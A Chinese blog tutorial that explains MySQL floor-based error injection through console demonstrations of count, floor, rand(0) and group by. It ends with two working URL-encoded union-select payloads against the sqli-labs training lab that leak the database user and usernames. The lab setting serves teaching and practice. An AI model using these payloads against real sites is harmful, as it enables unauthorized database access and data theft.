Mysql报错注入之floor报错详解

目录

先各自说明这几个

先说count 统计个数

再说floor 向下取整 

rand(),就是一个0到1随机数

伪随机数

group by 就是用列来进行分组

遇到一个问题

开始

产生1和0两个随机数

综合使用

其实就是下面这样

报错分析

四、总结

个人理解:

实战:

 代码

代码

 效果图


其实floor报错不是单纯的使用floor他需要配合group by ,rand,count来完成的

先各自说明这几个

先说count 统计个数

mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
|        8 |
+----------+
1 row in set (0.00 sec)

mysql>

再说floor 向下取整 

在扩展一下向上取整为ceil()

mysql> select floor(1.9);
+------------+
| floor(1.9) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql>

rand(),就是一个0到1随机数

mysql> select rand();
+-------------------+
| rand()            |
+-------------------+
| 0.541523484086174 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.6968036170087788 |
+--------------------+
1 row in set (0.00 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8594476635190171 |
+--------------------+
1 row in set (0.00 sec)

mysql>

伪随机数

但是当他给里面一个种子以后他就变成了伪随机数

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

group by 就是用列来进行分组

遇到一个问题

ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'security.users.id' which
is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by

解决请移步https://mp.csdn.net/mp_blog/creation/editor/129956548

mysql> select * from users group by id;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql> select * from users group by username;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql> select * from users group by 2;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql>

开始

那么咱们先用rand(0)查一下

mysql> select rand(0) from users;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
|  0.7392180764481594 |
|  0.7028141661573334 |
|  0.2964166321758336 |
|  0.3736406931408129 |
+---------------------+
8 rows in set (0.00 sec)

mysql>

产生1和0两个随机数

mysql> select rand(0)*2 from users;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
| 1.2774949104315554 |
| 0.6621841645447389 |
| 1.4784361528963188 |
| 1.4056283323146668 |
| 0.5928332643516672 |
| 0.7472813862816258 |
+--------------------+
8 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
+------------------+
8 rows in set (0.00 sec)

mysql>

其实我也不知道我在干嘛

综合使用

mysql> select count(*),floor(rand(0) * 2) x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0) * 2) x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql>

然后他就说1这个主键重复啦

其实就是下面这样

没进行统计

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
+------------------+
8 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) as x from users group by x;
+---+
| x |
+---+
| 0 |
| 1 |
+---+
2 rows in set (0.00 sec)

mysql>

当进行统计的时候

他就会报主键1重复

这是为什么呢???

这边我把我们周老师的文档粘过来让大家看

报错分析

这个整合然后计数的过程中,中间发生了什么我们是必须要明白的。 首先mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count()。也就对应于实验中的 user_name 和 count()。 然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。

然后mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个"被计算多次"到底是什么意思,就是在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)2)报错的过程就知道了,从上面的函数使用中可以看到在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011 (这个顺序很重要),报错实际上就是floor(rand(0)2)被计算多次导致的,我们还原一下具体的查询过程:

(1)查询前默认会建立空虚拟表如下图:

(2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),

(3)查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

0 1 1 0 1 1 0

0 1 1

(4)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

(5)查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕,结果如下:

(6)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)

0 1 1 0

(7)查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),

然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

0 1 1 0 1

四、总结

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。

另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()2)产生的序列是不可测的,这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

比如下面用1作为随机数种子,就不会产生报错:

个人理解:

我感觉就是第一次计算 floor(rand(0)*2)为0,然后查表发现没0这个key,然后在计算一次进行插入

然后第三次计算floor(rand(0)*2)为1,然后发现有这个key,不进行插入,然后count 进行加1。

然后第四次计算floor(rand(0)*2)为0,然后查表发现没0这个key,然后在进行计算一次为1啦,打算插入,但是key已经有1啦,所以就会产生1这个主键重复报错。

注意:最少需要三条数据才能报错,你读完上面你肯定会懂得

实战:

 代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,3%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%20--+

这里的concat是用来把floor(rand(0)*2)和local@host连接起来,要不然只会显示1主键重复

然后才会爆出local@host1主键重复

 a是别名,下面解释啦

最后那个a是别名,如果你没有就会出现下图

 然后再一点一点查

代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,3%20from%20(select%20count(*),concat((select%20username%20from%20users%20limit%201,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%20--+

 效果图

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值